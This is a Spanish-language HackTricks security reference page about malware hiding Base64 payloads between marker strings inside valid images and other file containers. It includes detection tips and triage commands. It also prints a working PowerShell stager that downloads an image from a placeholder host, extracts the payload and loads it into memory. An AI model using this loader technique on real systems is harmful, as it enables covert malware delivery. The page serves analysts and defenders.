Malware & Network Stego
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
No toda la steganography es pixel LSB; el commodity malware a menudo oculta payloads dentro de archivos que por lo demás son válidos.
Patrones prácticos
Payloads delimitados por marcadores en imágenes válidas
Si una imagen se descarga y se parsea inmediatamente como texto/Base64 por un script, el payload a menudo está delimitado por marcadores en lugar de ocultarse en los píxeles.
Los commodity loaders cada vez más ocultan Base64 payloads como texto plano dentro de imágenes válidas (a menudo GIF/PNG). En lugar de pixel-level LSB, el payload está delimitado por cadenas de marcadores únicas incrustadas en el texto/metadata del archivo. Un stager entonces:
- Descarga la imagen vía HTTP(S)
- Localiza los marcadores de inicio/fin
- Extrae el texto entre marcadores y lo decodifica Base64
- Carga/ejecuta en memoria
Snippet mínimo de PowerShell para carving:
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Notes:
- ATT&CK: T1027.003 (steganography)
- Detection/hunting:
- Escanea las imágenes descargadas en busca de cadenas delimitadoras.
- Marca scripts que obtienen imágenes y llaman inmediatamente a rutinas de decodificación Base64 (PowerShell
FromBase64String, JSatob, etc). - Busca desajustes en el content-type HTTP (
image/*response pero el body contiene ASCII/Base64 largo).
Other high-signal places to hide payloads
Estos suelen ser más rápidos de comprobar que el stego a nivel de píxeles:
- Metadatos: EXIF/XMP/IPTC, PNG
tEXt/iTXt/zTXt, segmentos JPEGCOM/APPn. - Trailing bytes: datos añadidos después del marcador de fin formal (p. ej., después de PNG
IEND). - Embedded archives: un ZIP/7z incrustado o anexado y extraído por el loader.
- Polyglots: archivos diseñados para ser válidos bajo múltiples parsers (p. ej., image + script + archive).
Triage commands
file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample
Referencias:
- Ejemplo de Unit 42: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
- Políglotas de formatos de archivo y trucos de contenedores: https://github.com/corkami/docs
- Aperi’Solve (triage de stego basado en la web): https://aperisolve.com/
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


